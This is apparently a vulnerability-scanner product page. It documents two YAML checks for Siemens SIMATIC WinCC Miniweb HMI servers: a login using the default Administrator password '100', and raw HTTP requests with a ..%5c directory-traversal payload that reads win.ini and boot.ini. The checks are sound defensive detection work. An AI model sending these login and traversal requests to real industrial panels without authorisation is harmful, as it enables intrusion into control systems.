WinCC — 2 vulnerability checks

noctis ships 2 vulnerability checks for WinCC, covering 5 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Siemens SIMATIC HMI Miniweb default Administrator password

CVECVE-2011-4508, CVE-2011-4509
Severitycritical · CVSS 10.0
Categorydefault-credentials — Default credentials
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/wincc/simatic-hmi-default-admin-password.yaml

Looks for the Siemens SIMATIC HMI / WinCC flexible "Miniweb" web server by requesting /start.html (then /www/start.html) and checking for the Miniweb marker. It first posts a login for the Administrator account with a random password to FormLogin, follows the returned redirect with the session cookie and expects the page NOT to show the logged-in Administrator. It then posts the same login with the factory default password 100 and follows the redirect the same way. The finding is raised when that page reads "Welcome Administrator" and "You are logged in" while the random password was refused: anyone on the network gets the panel's administrator session. A panel that logs in with the random password too is reported separately as accepting any password. The test only logs in and reads the start page; nothing is changed.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}start.html
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request POST {{dir}}FormLogin with a crafted body
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request GET {{ctl_s.url}}
  7. Parses / computes the next value with a Rhai script
  8. HTTP(S) request POST {{dir}}FormLogin with a crafted body
  9. Parses / computes the next value with a Rhai script
  10. HTTP(S) request GET {{login_s.url}}
  11. Parses / computes the next value with a Rhai script
  12. Checks login_state for ^session$ → finding QoD 97: POST …FormLogin as Administrator with the default password 100 opened a session: … with that cookie reads "Welcome Administrator" / "You ar…
  13. Checks login_state for ^session$ → finding QoD 75: POST …FormLogin as Administrator with the default password 100 opened a session: … with that cookie reads "Welcome Administrator" / "You ar…
  14. Checks ctl_state for ^session$ → finding QoD 70: Siemens SIMATIC HMI Miniweb accepts any Administrator password

References:

Feed source — tests/vulnerabilities/wincc/simatic-hmi-default-admin-password.yaml
# Port credit: OpenVAS/Greenbone NASL 2011/gb_Siemens_SIMATIC_51177.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103372, GPL-2.0-only) — same start-page gate ("/" then
# "/www/"), same POST <dir>FormLogin body (Login=Administrator, Password=100), same
# "Auth Form Response" / url= / Set-cookie handling and the same logged-in markers
# ("You are logged in" + "Welcome Administrator").
#
# The NASL tracks CVE-2011-4508 (predictable session cookie) and CVE-2011-4509
# (weak default Administrator password) but only exercises CVE-2011-4509: it logs in
# with the factory password 100. The feed keeps both IDs at feed level for tracking;
# the findings name only CVE-2011-4509. CVSS = NVD v2 of CVE-2011-4509 (10.0, NVD
# has no v3 score for it).
#
# Improvements over the NASL:
#  - same "/" then "/www/" fall-through, but the start-page gate also accepts
#    "Server: Miniweb" (the NASL reads headers + body).
#  - a control login with a random password is sent first and must NOT reach the
#    logged-in page. Default password logs in + random password refused → QoD 97.
#    No usable reply to the control → QoD 75. A panel that logs in with ANY password
#    is reported separately (QoD 70, no CVE), not as the default-password CVE.
#  - Set-cookie is parsed case-insensitively and cut at ";" (the NASL keeps the
#    attributes and appends " path=/"); an absolute url= redirect is reduced to its
#    path, a relative one is resolved against the Miniweb directory.
#  - no "Accept-Encoding: gzip" (noctis cannot inflate a gzip reply).
#
# Notes: the control adds one failed Administrator login per directory tried
# (the category already marks the feed as login-intrusive). The engine keeps only
# the last Set-Cookie header of a reply; the NASL takes the first — only differs
# on a panel that sets several cookies at login.
uid: 6184ed70-a649-4480-b672-946837aba095
name: "Siemens SIMATIC HMI Miniweb default Administrator password"
description: >-
  Looks for the Siemens SIMATIC HMI / WinCC flexible "Miniweb" web server by
  requesting /start.html (then /www/start.html) and checking for the Miniweb
  marker. It first posts a login for the Administrator account with a random
  password to FormLogin, follows the returned redirect with the session cookie
  and expects the page NOT to show the logged-in Administrator. It then posts
  the same login with the factory default password 100 and follows the
  redirect the same way. The finding is raised when that page reads "Welcome
  Administrator" and "You are logged in" while the random password was refused:
  anyone on the network gets the panel's administrator session. A panel that
  logs in with the random password too is reported separately as accepting any
  password. The test only logs in and reads the start page; nothing is changed.
category: default-credentials
cves: [CVE-2011-4508, CVE-2011-4509]
cvss: 10.0
severity: critical
confidence_base: 0.30
tags: [siemens, simatic, wincc, hmi, scada, ics, miniweb, default-credentials]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2011-4508"
  - "https://nvd.nist.gov/vuln/detail/CVE-2011-4509"
  - "http://www.us-cert.gov/control_systems/pdf/ICSA-11-356-01.pdf"
  - "http://www.securityfocus.com/bid/51177"
  - "http://xs-sniper.com/blog/2011/12/20/the-siemens-simatic-remote-authentication-bypass-that-doesnt-exist/"
  # Source plugin (GPL-2.0-only):
  - "OpenVAS/Greenbone NASL 2011/gb_Siemens_SIMATIC_51177.nasl"

steps:
  # 8 random alphanumerics → the control body is 63 bytes long.
  - id: rnd
    action: script
    code: 'rand_str(8)'
    store_as: ctl_pw

  # ── Every step below runs once per Miniweb directory ("/" then "/www/") ──
  # A finding (stop: true) ends the loop; a directory where any step fails
  # falls through to the next one, like the reference check's `continue`.
  - id: init-found
    action: set_var
    var_name: found
    var_value: false
    loop:
      over: ["/", "/www/"]
      var: dir
  - id: init-page
    action: set_var
    var_name: page
    var_value: ""
  - id: init-ctl
    action: set_var
    var_name: ctl
    var_value: ""
  - id: init-ctl-page
    action: set_var
    var_name: ctl_page
    var_value: ""
  - id: init-login
    action: set_var
    var_name: login
    var_value: ""
  - id: init-login-page
    action: set_var
    var_name: login_page
    var_value: ""

  # ── 1. Miniweb start page: "miniweb" in the body or the Server header ────
  - id: probe
    action: http_request
    method: GET
    path: "{{dir}}start.html"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: page
  - id: gate
    action: script
    code: |
      let hit = false;
      if type_of(page) == "map" {
        if egrep("(?i)miniweb", page.body) != "" { hit = true; }
        if "server" in page.headers && egrep("(?i)miniweb", page.headers["server"]) != "" { hit = true; }
      }
      hit
    store_as: found

  # ── 2. Control: Administrator with a random password must be refused ─────
  - id: control
    action: http_request
    method: POST
    path: "{{dir}}FormLogin"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "found == true"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
      Referer: "{{scheme}}://{{target_host}}:{{port}}/start.html"
    body: "Login=Administrator&Redirection=%2Fstart.html&Password={{ctl_pw}}"
    store_as: ctl
  # Pull the redirect target (url=) and the session cookie out of the
  # "Auth Form Response" page. state: none (no reply) / noform / follow.
  - id: control-parse
    action: script
    code: |
      let st = #{ state: "none", url: "", cookie: "" };
      if type_of(ctl) == "map" {
        st.state = "noform";
        let u = eregmatch("url=([^\"'>\\s]+)", ctl.body, true);
        let c = "";
        if "set-cookie" in ctl.headers { c = ctl.headers["set-cookie"]; }
        let i = c.index_of(";");
        if i > 0 { c = c.sub_string(0, i); }
        if ctl.body.contains("Auth Form Response") && u.len() > 1 && c != "" {
          let p = u[1];
          let a = eregmatch("^https?://[^/]+(/.*)$", p, true);
          if a.len() > 1 { p = a[1]; }
          if !p.starts_with("/") { p = dir + p; }
          st.state = "follow";
          st.url = p;
          st.cookie = c;
        }
      }
      st
    store_as: ctl_s
  - id: control-follow
    action: http_request
    method: GET
    path: "{{ctl_s.url}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'ctl_s.state == "follow"'
    headers:
      Cookie: "{{ctl_s.cookie}}"
    store_as: ctl_page
  # none = nothing usable came back; session = random password logged in.
  - id: control-state
    action: script
    code: |
      if ctl_s.state == "none" { "none" }
      else if ctl_s.state == "follow" && type_of(ctl_page) != "map" { "none" }
      else if ctl_s.state == "follow" && ctl_page.body.contains("You are logged in") && ctl_page.body.contains("Welcome Administrator") { "session" }
      else { "rejected" }
    store_as: ctl_state

  # ── 3. Default password: Administrator / 100 ─────────────────────────────
  - id: login
    action: http_request
    method: POST
    path: "{{dir}}FormLogin"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "found == true"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
      Referer: "{{scheme}}://{{target_host}}:{{port}}/start.html"
    body: "Login=Administrator&Redirection=%2Fstart.html&Password=100"
    store_as: login
  - id: login-parse
    action: script
    code: |
      let st = #{ state: "none", url: "", cookie: "" };
      if type_of(login) == "map" {
        st.state = "noform";
        let u = eregmatch("url=([^\"'>\\s]+)", login.body, true);
        let c = "";
        if "set-cookie" in login.headers { c = login.headers["set-cookie"]; }
        let i = c.index_of(";");
        if i > 0 { c = c.sub_string(0, i); }
        if login.body.contains("Auth Form Response") && u.len() > 1 && c != "" {
          let p = u[1];
          let a = eregmatch("^https?://[^/]+(/.*)$", p, true);
          if a.len() > 1 { p = a[1]; }
          if !p.starts_with("/") { p = dir + p; }
          st.state = "follow";
          st.url = p;
          st.cookie = c;
        }
      }
      st
    store_as: login_s
  - id: login-follow
    action: http_request
    method: GET
    path: "{{login_s.url}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'login_s.state == "follow"'
    headers:
      Cookie: "{{login_s.cookie}}"
    store_as: login_page
  - id: login-state
    action: script
    code: |
      if login_s.state == "follow" && type_of(login_page) == "map" && login_page.body.contains("You are logged in") && login_page.body.contains("Welcome Administrator") { "session" }
      else { "rejected" }
    store_as: login_state

  # ── 4. Findings ──────────────────────────────────────────────────────────
  - id: default-pw-confirmed
    action: match
    source: login_state
    pattern: "^session$"
    condition: 'login_state == "session" && ctl_state == "rejected"'
    on_match:
      finding:
        cves: [CVE-2011-4509]
        confidence_delta: 0.65
        qod: 97
        evidence: "POST {{dir}}FormLogin as Administrator with the default password 100 opened a session: {{login_s.url}} with that cookie reads \"Welcome Administrator\" / \"You are logged in\". The same login with the random password {{ctl_pw}} was refused."
        remediation: "Change the Administrator password of the HMI web server (Miniweb), update WinCC flexible to 2008 SP3 or WinCC V11 to SP2 Update 1 or later, and keep the panel's web interface off untrusted networks."
      stop: true

  - id: default-pw-no-control
    action: match
    source: login_state
    pattern: "^session$"
    condition: 'login_state == "session" && ctl_state == "none"'
    on_match:
      finding:
        cves: [CVE-2011-4509]
        confidence_delta: 0.50
        qod: 75
        evidence: "POST {{dir}}FormLogin as Administrator with the default password 100 opened a session: {{login_s.url}} with that cookie reads \"Welcome Administrator\" / \"You are logged in\". The random-password control login got no usable reply, so it could not be compared."
        remediation: "Change the Administrator password of the HMI web server (Miniweb), update WinCC flexible to 2008 SP3 or WinCC V11 to SP2 Update 1 or later, and keep the panel's web interface off untrusted networks."
      stop: true

  - id: any-password
    action: match
    source: ctl_state
    pattern: "^session$"
    condition: 'ctl_state == "session"'
    on_match:
      finding:
        cves: []
        title: "Siemens SIMATIC HMI Miniweb accepts any Administrator password"
        description: "The Miniweb web server opened an Administrator session for a login with a random password, so the web interface does not check the password."
        confidence_delta: 0.40
        qod: 70
        evidence: "POST {{dir}}FormLogin as Administrator with the random password {{ctl_pw}} opened a session: {{ctl_s.url}} with that cookie reads \"Welcome Administrator\" / \"You are logged in\"."
        remediation: "Set an Administrator password on the HMI web server (Miniweb) and keep the panel's web interface off untrusted networks."
      stop: true

Siemens SIMATIC WinCC HMI Web Server Multiple Input Validation Vulnerabilities

CVECVE-2011-4512, CVE-2011-4878, CVE-2011-4879
Severityhigh · CVSS 8.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, tcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/wincc/simatic-wincc-input-validation.yaml

Detects an exposed Siemens SIMATIC WinCC HMI "Miniweb" web server affected by multiple input-validation flaws (HTTP header injection, directory traversal, arbitrary memory read). Gates on the "Miniweb Start Page" marker at /www/start.html, then actively confirms the directory-traversal flaw by reading a Windows system file via a ..%5c backslash-traversal URL and matching its content. A patched Miniweb still serves the start page but no longer leaks the file, so the finding fires only on confirmed traversal.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /www/start.html HTTP/1.0
  2. Checks fp_resp.banner for Miniweb Start Page
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET /..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows/win.ini HTTP/1.0
  4. Checks winini_resp.banner for \[fonts\] → finding QoD 75: SIMATIC WinCC Miniweb directory traversal confirmed — windows/win.ini read via /..%5c..%5c...%5cwindows/win.ini: …
  5. Raw TCP (TLS on HTTPS), sent verbatim: GET /..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cboot.ini HTTP/1.0
  6. Checks bootini_resp.banner for \[boot loader\] → finding QoD 75: SIMATIC WinCC Miniweb directory traversal confirmed — boot.ini read via /..%5c..%5c...%5cboot.ini: …

References:

Feed source — tests/vulnerabilities/wincc/simatic-wincc-input-validation.yaml
# Siemens SIMATIC WinCC HMI Web Server — Multiple Input Validation Vulnerabilities
# (CVE-2011-4512 / CVE-2011-4878 / CVE-2011-4879)
#
# The SIMATIC WinCC HMI "Miniweb" web server fails to properly sanitize
# user-supplied input, exposing HTTP-header-injection, directory-traversal and
# arbitrary-memory-read issues. This active check first fingerprints an exposed
# Miniweb server by requesting its start page (gate only — a patched server
# still serves it), then actively exploits the directory-traversal flaw with a
# backslash-encoded ..%5c payload to read a Windows system file. The finding is
# raised ONLY when leaked file content comes back, never on the start page alone.
#
# Detection: GET /www/start.html over a raw HTTP/1.0 request to gate on the
# "Miniweb Start Page" marker, then GET /..%5c..%5c...%5c<file> and confirm the
# returned file content (windows/win.ini -> "[fonts]", boot.ini -> "[boot
# loader]"). QoD 75 (response-content analysis).
#
# Ported from OpenVAS/Greenbone NVT 2012/gb_simatic_wincc_hmi_51836.nasl
# (GPL-2.0-only) — detection kept faithful to the cited plugin (same start-page
# gate, same ..%5c traversal URL and traversal_files("windows") markers); no
# invented URL/header/pattern.
uid: 01af9792-5c2e-4cba-98f6-a308aa7187b7
name: "Siemens SIMATIC WinCC HMI Web Server Multiple Input Validation Vulnerabilities"
description: |
  Detects an exposed Siemens SIMATIC WinCC HMI "Miniweb" web server affected by
  multiple input-validation flaws (HTTP header injection, directory traversal,
  arbitrary memory read). Gates on the "Miniweb Start Page" marker at
  /www/start.html, then actively confirms the directory-traversal flaw by
  reading a Windows system file via a ..%5c backslash-traversal URL and matching
  its content. A patched Miniweb still serves the start page but no longer leaks
  the file, so the finding fires only on confirmed traversal.
cves: [CVE-2011-4512, CVE-2011-4878, CVE-2011-4879]
cvss: 8.5
severity: high
category: file-read
confidence_base: 0.30
tags: [siemens, simatic, wincc, hmi, scada, ics, miniweb, input-validation, directory-traversal]
services: [http, https]
author: noctis
version: "1.1.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2011-4512"
  - "https://nvd.nist.gov/vuln/detail/CVE-2011-4878"
  - "https://nvd.nist.gov/vuln/detail/CVE-2011-4879"
  - "https://www.us-cert.gov/control_systems/pdf/ICSA-12-030-01A.pdf"
  # Source plugin (GPL-2.0-only):
  - "OpenVAS/Greenbone NASL 2012/gb_simatic_wincc_hmi_51836.nasl"


steps:
  # ── Gate variable — must be initialised before use in a condition ─────────
  - id: init-gate
    action: set_var
    var_name: miniweb_found
    var_value: false

  # ── Fingerprint the Miniweb start page (GATE ONLY, no finding) ────────────
  # Raw HTTP/1.0 request (verbatim), matched on resp.banner — mirrors the NASL
  # http_vuln_check(url:"/www/start.html", pattern:"Miniweb Start Page") used
  # as the plugin's precondition. A patched server also serves this page, so it
  # only opens the gate; it never raises a finding on its own.
  - id: start-page
    action: tcp_connect
    port: "{{port}}"
    send: "GET /www/start.html HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: fp_resp

  - id: start-page-match
    action: match
    source: fp_resp.banner
    pattern: "Miniweb Start Page"
    on_match:
      set_vars:
        miniweb_found: true

  # ── Active traversal #1 — windows/win.ini -> "[fonts]" ────────────────────
  # NASL: url = "/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c" + file,
  # with traversal_files("windows"). tcp_connect is mandatory: reqwest would
  # normalise the backslash-encoded payload away. Only runs once the gate is
  # open; raises the finding ONLY when the leaked file content is returned.
  - id: traversal-winini
    action: tcp_connect
    port: "{{port}}"
    send: "GET /..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows/win.ini HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: winini_resp
    condition: "miniweb_found == true"

  - id: traversal-winini-match
    action: match
    source: winini_resp.banner
    pattern: "\\[fonts\\]"
    case_insensitive: true
    condition: "miniweb_found == true"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "SIMATIC WinCC Miniweb directory traversal confirmed — windows/win.ini read via /..%5c..%5c...%5cwindows/win.ini: {{winini_resp.banner}}"
      stop: true

  # ── Active traversal #2 (fallback) — boot.ini -> "[boot loader]" ──────────
  - id: traversal-bootini
    action: tcp_connect
    port: "{{port}}"
    send: "GET /..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cboot.ini HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: bootini_resp
    condition: "miniweb_found == true"

  - id: traversal-bootini-match
    action: match
    source: bootini_resp.banner
    pattern: "\\[boot loader\\]"
    case_insensitive: true
    condition: "miniweb_found == true"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "SIMATIC WinCC Miniweb directory traversal confirmed — boot.ini read via /..%5c..%5c...%5cboot.ini: {{bootini_resp.banner}}"
      stop: true

View these feeds on GitHub